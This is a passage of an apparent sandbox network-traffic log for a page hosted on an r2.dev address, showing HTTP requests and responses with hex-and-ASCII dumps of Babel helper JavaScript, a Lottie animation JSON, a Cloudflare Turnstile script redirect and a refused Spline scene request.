2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 6f 72 53 74 65 70 28 74 2c 65 2c 72 2c 69 2c 73 2c 61 2c 6e 29 7b 74 72 79 7b 76 61 72 20 6f 3d 74 5b 61 5d 28 6e 29 2c 6c 3d 6f 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 74 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 72 28 74 29 7d 6f 2e 64 6f 6e 65 3f 65 28 6c 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 6c 29 2e 74 68 65 6e 28 69 2c 73 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 61 73 79 6e 63 54 6f 47 65 6e 65 72 61 74 6f 72 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 72 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 28 66 75 6e 63 74 69 6f 6e 28 69 2c 73 29 7b 76 61 72 20 61 3d 74 2e 61 70 70 6c 79 28 65 2c 72 29 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 29 7b Data Ascii: orStep(t,e,r,i,s,a,n){try{var o=t[a](n),l=o.value}catch(t){return void r(t)}o.done?e(l):Promise.resolve(l).then(i,s)}function _asyncToGenerator(t){return function(){var e=this,r=arguments;return new Promise((function(i,s){var a=t.apply(e,r);function n(t){
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 72 29 7b 72 65 74 75 72 6e 20 65 20 69 6e 20 74 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 65 2c 7b 76 61 6c 75 65 3a 72 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 74 5b 65 5d 3d 72 2c 74 7d 66 75 6e 63 74 69 6f 6e 20 5f 65 78 74 65 6e 64 73 28 29 7b 72 65 74 75 72 6e 20 5f 65 78 74 65 6e 64 73 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 31 3b 65 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 5b Data Ascii: urn t}function _defineProperty(t,e,r){return e in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function _extends(){return _extends=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var r=arguments[
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 70 65 4f 66 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 74 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 65 2c 74 7d 2c 5f 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 74 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 69 73 4e 61 74 69 76 65 52 65 66 6c 65 63 74 43 6f 6e 73 74 72 75 63 74 28 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 52 65 66 6c 65 63 74 7c 7c 21 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 29 72 65 74 75 72 6e 21 31 3b 69 66 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 50 72 6f 78 79 29 72 65 74 75 72 6e 21 30 Data Ascii: peOf=Object.setPrototypeOf\|\|function(t,e){return t.__proto__=e,t},_setPrototypeOf(t,e)}function _isNativeReflectConstruct(){if("undefined"==typeof Reflect\|\|!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 73 74 61 6e 63 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 5f 69 6e 74 65 72 6f 70 52 65 71 75 69 72 65 44 65 66 61 75 6c 74 28 74 29 7b 72 65 74 75 72 6e 20 74 26 26 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 74 3a 7b 64 65 66 61 75 6c 74 3a 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 5f 67 65 74 52 65 71 75 69 72 65 57 69 6c 64 63 61 72 64 43 61 63 68 65 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 57 65 61 6b 4d 61 70 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 76 61 72 20 65 3d 6e 65 77 20 57 65 61 6b 4d 61 70 2c 72 3d 6e 65 77 20 57 65 61 6b 4d 61 70 3b 72 65 74 75 72 6e 28 5f 67 65 74 52 65 71 75 69 72 65 57 69 6c 64 63 61 72 64 43 61 63 68 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3f 72 3a 65 7d 29 28 74 29 Data Ascii: stanceof e}function _interopRequireDefault(t){return t&&t.__esModule?t:{default:t}}function _getRequireWildcardCache(t){if("function"!=typeof WeakMap)return null;var e=new WeakMap,r=new WeakMap;return(_getRequireWildcardCache=function(t){return t?r:e})(t)
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 2c 72 29 26 26 28 73 5b 72 5d 3d 74 5b 72 5d 29 7d 72 65 74 75 72 6e 20 73 7d 66 75 6e 63 74 69 6f 6e 20 5f 61 73 73 65 72 74 54 68 69 73 49 6e 69 74 69 61 6c 69 7a 65 64 28 74 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 5f 70 6f 73 73 69 62 6c 65 43 6f 6e 73 74 72 75 63 74 6f 72 52 65 74 75 72 6e 28 74 2c 65 29 7b 69 66 28 65 26 26 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d Data Ascii: all(t,r)&&(s[r]=t[r])}return s}function _assertThisInitialized(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}function _possibleConstructorReturn(t,e){if(e&&("object"==typeof e\|\|"function"==
2025-03-27 15:59:54 UTC	1369	IN	Data Raw: 79 28 69 2c 65 2c 73 29 7d 65 6c 73 65 20 5f 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 69 2c 65 2c 72 29 3b 72 65 74 75 72 6e 21 30 7d 2c 73 65 74 28 74 2c 65 2c 72 2c 69 29 7d 66 75 6e 63 74 69 6f 6e 20 5f 73 65 74 28 74 2c 65 2c 72 2c 69 2c 73 29 7b 69 66 28 21 73 65 74 28 74 2c 65 2c 72 2c 69 7c 7c 74 29 26 26 73 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 66 61 69 6c 65 64 20 74 6f 20 73 65 74 20 70 72 6f 70 65 72 74 79 22 29 3b 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 5f 74 61 67 67 65 64 54 65 6d 70 6c 61 74 65 4c 69 74 65 72 61 6c 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 65 7c 7c 28 65 3d 74 2e 73 6c 69 63 65 28 30 29 29 2c 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 Data Ascii: y(i,e,s)}else _defineProperty(i,e,r);return!0},set(t,e,r,i)}function _set(t,e,r,i,s){if(!set(t,e,r,i\|\|t)&&s)throw new Error("failed to set property");return r}function _taggedTemplateLiteral(t,e){return e\|\|(e=t.slice(0)),Object.freeze(Object.definePropert

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:55 UTC	641	OUT	GET /packages/lf20_zw0djhar.json HTTP/1.1 Host: assets5.lottiefiles.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:55 UTC	720	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 15:59:55 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Access-Control-Max-Age: 1800 Last-Modified: Sat, 14 May 2022 08:16:32 GMT x-amz-version-id: bzTAHEYXH5izjVB0r3PwFXR1BycuFXOA Cache-Control: max-age=315360000 ETag: W/"c17f786d1eda65296df13ddcbbe8e0b1" Vary: Origin,accept-encoding X-Cache: Hit from cloudfront Via: 1.1 92a8583818732665d61a5f5d4edba97a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P8 X-Amz-Cf-Id: o-Wufr-zZYX7dMXZHsPjNo4Ce55QtNLJcpjb7J3-Y4PmY6JGaW6pcg== Age: 139 cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 927019026a054f0b-EWR
2025-03-27 15:59:55 UTC	649	IN	Data Raw: 37 63 63 63 0d 0a 7b 22 76 22 3a 22 35 2e 36 2e 36 22 2c 22 66 72 22 3a 32 34 2c 22 69 70 22 3a 30 2c 22 6f 70 22 3a 31 32 30 2c 22 77 22 3a 33 32 30 30 2c 22 68 22 3a 33 32 30 30 2c 22 6e 6d 22 3a 22 57 61 76 79 5f 47 65 6e 2d 30 31 5f 53 69 6e 67 6c 65 2d 30 37 22 2c 22 64 64 64 22 3a 30 2c 22 61 73 73 65 74 73 22 3a 5b 5d 2c 22 6c 61 79 65 72 73 22 3a 5b 7b 22 64 64 64 22 3a 30 2c 22 69 6e 64 22 3a 31 2c 22 74 79 22 3a 34 2c 22 6e 6d 22 3a 22 68 61 69 72 20 70 61 72 74 22 2c 22 70 61 72 65 6e 74 22 3a 38 2c 22 73 72 22 3a 31 2c 22 6b 73 22 3a 7b 22 6f 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 31 7d 2c 22 72 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 31 30 7d 2c 22 70 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b Data Ascii: 7ccc{"v":"5.6.6","fr":24,"ip":0,"op":120,"w":3200,"h":3200,"nm":"Wavy_Gen-01_Single-07","ddd":0,"assets":[],"layers":[{"ddd":0,"ind":1,"ty":4,"nm":"hair part","parent":8,"sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 2d 39 2e 31 32 2c 38 2e 31 30 34 5d 2c 5b 31 38 2e 35 36 38 2c 33 38 2e 35 38 33 5d 2c 5b 33 34 2e 32 36 32 2c 34 36 2e 32 32 31 5d 2c 5b 34 35 2e 34 39 39 2c 32 2e 31 37 32 5d 2c 5b 35 34 2e 39 37 33 2c 31 35 2e 31 32 39 5d 2c 5b 33 2e 30 38 38 2c 2d 32 2e 34 36 38 5d 2c 5b 2d 35 35 2e 30 36 34 2c 2d 34 37 2e 35 35 39 5d 2c 5b 2d 36 2e 33 33 37 2c 2d 34 2e 38 36 32 5d 2c 5b 2d 34 34 2e 38 34 39 2c 2d 32 38 2e 33 35 33 5d 5d 2c 22 76 22 3a 5b 5b 2d 32 30 32 2e 36 33 2c 2d 31 35 37 2e 33 32 39 5d 2c 5b 2d 31 36 36 2e 36 38 34 2c 2d 35 35 2e 30 33 5d 2c 5b 2d 31 33 32 2e 34 36 39 2c 31 31 2e 34 32 38 5d 2c 5b 32 39 2e 39 31 2c 31 30 30 2e 30 38 37 5d 2c 5b 31 32 30 2e 32 37 37 2c 39 35 2e 35 38 38 5d 2c 5b 32 30 35 2e 30 37 34 2c 31 35 39 2e 32 30 36 5d 2c Data Ascii: -9.12,8.104],[18.568,38.583],[34.262,46.221],[45.499,2.172],[54.973,15.129],[3.088,-2.468],[-55.064,-47.559],[-6.337,-4.862],[-44.849,-28.353]],"v":[[-202.63,-157.329],[-166.684,-55.03],[-132.469,11.428],[29.91,100.087],[120.277,95.588],[205.074,159.206],
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 22 3a 22 50 61 74 68 20 31 22 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 53 68 61 70 65 20 2d 20 47 72 6f 75 70 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 74 79 22 3a 22 67 66 22 2c 22 6f 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 30 7d 2c 22 72 22 3a 31 2c 22 62 6d 22 3a 30 2c 22 67 22 3a 7b 22 70 22 3a 33 2c 22 6b 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 30 2c 30 2e 31 39 32 2c 30 2e 30 39 38 2c 30 2e 32 36 37 2c 30 2e 35 2c 30 2e 33 30 36 2c 30 2e 31 36 31 2c 30 2e 33 36 35 2c 31 2c 30 2e 34 32 2c 30 2e 32 32 34 2c 30 2e 34 36 33 5d 2c 22 69 78 22 3a 39 7d 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 36 30 37 2e 36 31 2c 33 33 30 2e 34 34 5d 2c 22 69 78 22 3a 35 7d 2c 22 65 22 3a 7b 22 61 22 3a 30 Data Ascii: ":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"gf","o":{"a":0,"k":100,"ix":10},"r":1,"bm":0,"g":{"p":3,"k":{"a":0,"k":[0,0.192,0.098,0.267,0.5,0.306,0.161,0.365,1,0.42,0.224,0.463],"ix":9}},"s":{"a":0,"k":[607.61,330.44],"ix":5},"e":{"a":0
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 2e 36 38 5d 2c 5b 31 32 30 2e 37 34 39 2c 31 39 39 2e 31 30 39 5d 2c 5b 31 32 32 2e 39 38 37 2c 31 39 35 2e 38 33 36 5d 5d 2c 22 63 22 3a 74 72 75 65 7d 2c 22 69 78 22 3a 32 7d 2c 22 6e 6d 22 3a 22 50 61 74 68 20 31 22 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 53 68 61 70 65 20 2d 20 47 72 6f 75 70 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 74 79 22 3a 22 67 66 22 2c 22 6f 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 30 7d 2c 22 72 22 3a 31 2c 22 62 6d 22 3a 30 2c 22 67 22 3a 7b 22 70 22 3a 33 2c 22 6b 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 30 2c 30 2e 36 36 37 2c 30 2e 35 30 32 2c 30 2e 39 37 36 2c 30 2e 34 39 38 2c 30 2e 35 32 34 2c 30 2e 34 34 39 2c 30 2e 39 31 2c 30 2e 39 39 36 2c 30 2e 33 38 2c 30 2e 33 Data Ascii: .68],[120.749,199.109],[122.987,195.836]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"gf","o":{"a":0,"k":100,"ix":10},"r":1,"bm":0,"g":{"p":3,"k":{"a":0,"k":[0,0.667,0.502,0.976,0.498,0.524,0.449,0.91,0.996,0.38,0.3
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 30 33 5d 2c 5b 32 36 2e 30 38 2c 2d 35 2e 35 32 31 5d 2c 5b 2d 31 2e 38 39 31 2c 35 39 2e 32 32 31 5d 5d 2c 22 6f 22 3a 5b 5b 31 33 2e 38 32 33 2c 36 2e 38 39 35 5d 2c 5b 34 2e 32 33 31 2c 35 2e 33 38 34 5d 2c 5b 2d 33 2e 34 39 38 2c 38 2e 32 34 38 5d 2c 5b 2d 34 30 2e 32 34 36 2c 38 2e 35 32 32 5d 2c 5b 31 2e 32 36 38 2c 2d 33 39 2e 36 39 32 5d 5d 2c 22 76 22 3a 5b 5b 2d 33 2e 31 39 38 2c 2d 31 30 30 2e 37 30 37 5d 2c 5b 33 38 2e 32 37 35 2c 2d 38 30 2e 30 32 38 5d 2c 5b 36 35 2e 39 38 35 2c 35 34 2e 38 37 39 5d 2c 5b 32 33 2e 31 38 33 2c 39 39 2e 38 33 33 5d 2c 5b 2d 37 33 2e 38 30 32 2c 2d 36 2e 30 33 34 5d 5d 2c 22 63 22 3a 74 72 75 65 7d 2c 22 69 78 22 3a 32 7d 2c 22 6e 6d 22 3a 22 50 61 74 68 20 31 22 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 Data Ascii: 03],[26.08,-5.521],[-1.891,59.221]],"o":[[13.823,6.895],[4.231,5.384],[-3.498,8.248],[-40.246,8.522],[1.268,-39.692]],"v":[[-3.198,-100.707],[38.275,-80.028],[65.985,54.879],[23.183,99.833],[-73.802,-6.034]],"c":true},"ix":2},"nm":"Path 1","mn":"ADBE Vect
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 30 7d 2c 22 72 22 3a 31 2c 22 62 6d 22 3a 30 2c 22 67 22 3a 7b 22 70 22 3a 33 2c 22 6b 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 30 2c 31 2c 30 2e 37 36 39 2c 30 2e 32 36 37 2c 30 2e 34 39 38 2c 30 2e 39 37 36 2c 30 2e 36 30 32 2c 30 2e 33 30 32 2c 30 2e 39 39 36 2c 30 2e 39 35 33 2c 30 2e 34 33 35 2c 30 2e 33 33 37 5d 2c 22 69 78 22 3a 39 7d 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 34 32 2e 32 30 36 2c 2d 31 36 2e 38 38 31 5d 2c 22 69 78 22 3a 35 7d 2c 22 65 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 2d 31 32 38 2e 33 38 36 2c 31 30 36 2e 30 32 37 5d 2c 22 69 78 22 3a 36 7d 2c 22 74 22 3a 31 2c 22 6e 6d 22 3a 22 47 72 61 64 69 65 6e 74 20 46 69 6c 6c 20 31 22 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 Data Ascii: ,"k":100,"ix":10},"r":1,"bm":0,"g":{"p":3,"k":{"a":0,"k":[0,1,0.769,0.267,0.498,0.976,0.602,0.302,0.996,0.953,0.435,0.337],"ix":9}},"s":{"a":0,"k":[42.206,-16.881],"ix":5},"e":{"a":0,"k":[-128.386,106.027],"ix":6},"t":1,"nm":"Gradient Fill 1","mn":"ADBE V
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 31 39 31 5d 2c 22 79 22 3a 5b 30 5d 7d 2c 22 74 22 3a 31 30 35 2e 35 34 37 2c 22 73 22 3a 5b 2d 36 5d 7d 2c 7b 22 74 22 3a 31 31 39 2c 22 73 22 3a 5b 31 31 5d 7d 5d 2c 22 69 78 22 3a 31 30 7d 2c 22 70 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 35 34 2e 32 36 34 2c 31 36 38 2e 38 32 31 2c 30 5d 2c 22 69 78 22 3a 32 7d 2c 22 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 31 37 33 2c 2d 35 36 2c 30 5d 2c 22 69 78 22 3a 31 7d 2c 22 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 5b 31 30 30 2c 31 30 30 2c 31 30 30 5d 2c 22 69 78 22 3a 36 7d 7d 2c 22 61 6f 22 3a 30 2c 22 73 68 61 70 65 73 22 3a 5b 7b 22 74 79 22 3a 22 67 72 22 2c 22 69 74 22 3a 5b 7b 22 69 6e 64 22 3a 30 2c 22 74 79 22 3a 22 73 68 22 2c 22 69 Data Ascii: y":[1]},"o":{"x":[0.191],"y":[0]},"t":105.547,"s":[-6]},{"t":119,"s":[11]}],"ix":10},"p":{"a":0,"k":[54.264,168.821,0],"ix":2},"a":{"a":0,"k":[173,-56,0],"ix":1},"s":{"a":0,"k":[100,100,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","i
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 3a 37 7d 2c 22 73 6b 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 34 7d 2c 22 73 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 35 7d 2c 22 6e 6d 22 3a 22 54 72 61 6e 73 66 6f 72 6d 22 7d 5d 2c 22 6e 6d 22 3a 22 66 6f 72 65 61 72 6d 20 52 22 2c 22 6e 70 22 3a 32 2c 22 63 69 78 22 3a 32 2c 22 62 6d 22 3a 30 2c 22 69 78 22 3a 31 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 47 72 6f 75 70 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 5d 2c 22 69 70 22 3a 30 2c 22 6f 70 22 3a 31 34 34 2c 22 73 74 22 3a 30 2c 22 62 6d 22 3a 30 7d 2c 7b 22 64 64 64 22 3a 30 2c 22 69 6e 64 22 3a 35 2c 22 74 79 22 3a 34 2c 22 6e 6d 22 3a 22 74 61 62 6c 65 74 22 2c 22 70 61 72 65 6e 74 22 3a 33 2c 22 73 72 22 3a 31 2c 22 6b 73 22 3a 7b 22 6f 22 Data Ascii: :7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"forearm R","np":2,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":144,"st":0,"bm":0},{"ddd":0,"ind":5,"ty":4,"nm":"tablet","parent":3,"sr":1,"ks":{"o"
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 37 7d 2c 22 73 6b 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 34 7d 2c 22 73 61 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 30 2c 22 69 78 22 3a 35 7d 2c 22 6e 6d 22 3a 22 54 72 61 6e 73 66 6f 72 6d 22 7d 5d 2c 22 6e 6d 22 3a 22 47 72 6f 75 70 20 31 22 2c 22 6e 70 22 3a 32 2c 22 63 69 78 22 3a 32 2c 22 62 6d 22 3a 30 2c 22 69 78 22 3a 31 2c 22 6d 6e 22 3a 22 41 44 42 45 20 56 65 63 74 6f 72 20 47 72 6f 75 70 22 2c 22 68 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 74 79 22 3a 22 67 72 22 2c 22 69 74 22 3a 5b 7b 22 69 6e 64 22 3a 30 2c 22 74 79 22 3a 22 73 68 22 2c 22 69 78 22 3a 31 2c 22 6b 73 22 3a 7b 22 61 22 3a 30 2c 22 6b 22 3a 7b 22 69 22 3a 5b 5b 2d 34 2e 32 33 33 2c 2d 31 31 2e 34 34 37 5d 2c 5b 30 Data Ascii: :0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Group 1","np":2,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[-4.233,-11.447],[0
2025-03-27 15:59:55 UTC	1369	IN	Data Raw: 22 61 22 3a 30 2c 22 6b 22 3a 31 30 30 2c 22 69 78 22 3a 31 31 7d 2c 22 72 22 3a 7b 22 61 22 3a 31 2c 22 6b 22 3a 5b 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 32 35 36 5d 2c 22 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 33 33 33 5d 2c 22 79 22 3a 5b 30 5d 7d 2c 22 74 22 3a 30 2e 39 31 35 2c 22 73 22 3a 5b 31 35 5d 7d 2c 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 36 34 39 5d 2c 22 79 22 3a 5b 2d 30 2e 36 39 36 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 33 31 31 5d 2c 22 79 22 3a 5b 30 5d 7d 2c 22 74 22 3a 31 31 2e 37 37 31 2c 22 73 22 3a 5b 30 5d 7d 2c 7b 22 69 22 3a 7b 22 78 22 3a 5b 30 2e 36 36 37 5d 2c 22 79 22 3a 5b 31 5d 7d 2c 22 6f 22 3a 7b 22 78 22 3a 5b 30 2e 33 32 36 5d 2c 22 79 22 3a 5b 2d 31 2e 35 37 38 5d 7d 2c 22 74 22 3a 32 31 2e Data Ascii: "a":0,"k":100,"ix":11},"r":{"a":1,"k":[{"i":{"x":[0.256],"y":[1]},"o":{"x":[0.333],"y":[0]},"t":0.915,"s":[15]},{"i":{"x":[0.649],"y":[-0.696]},"o":{"x":[0.311],"y":[0]},"t":11.771,"s":[0]},{"i":{"x":[0.667],"y":[1]},"o":{"x":[0.326],"y":[-1.578]},"t":21.

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:55 UTC	635	OUT	GET /turnstile/v0/api.js?onload=onTurnstileLoad HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:55 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 27 Mar 2025 15:59:55 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/b/708f7a809116/api.js Server: cloudflare CF-RAY: 9270190318aa6dc6-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-27 15:59:55 UTC	642	OUT	GET /mAXoIkgd8xZRsO2j/scene.splinecode HTTP/1.1 Host: prod.spline.design Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://pub-11f9de1b0e4f4601832881cc81c7f83a.r2.dev/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 15:59:55 UTC	449	IN	HTTP/1.1 403 Forbidden Content-Type: application/xml Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET, PUT, DELETE, HEAD Server: AmazonS3 Date: Thu, 27 Mar 2025 15:59:54 GMT X-Cache: Error from cloudfront Via: 1.1 b67b60901a678f2f5872beaa2033c562.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P5 X-Amz-Cf-Id: BsYjZ-EwNMYjbO5xTpArlPhpgW3pn81Vd_KCcmdJ4eTwi6JVhh_zHg==
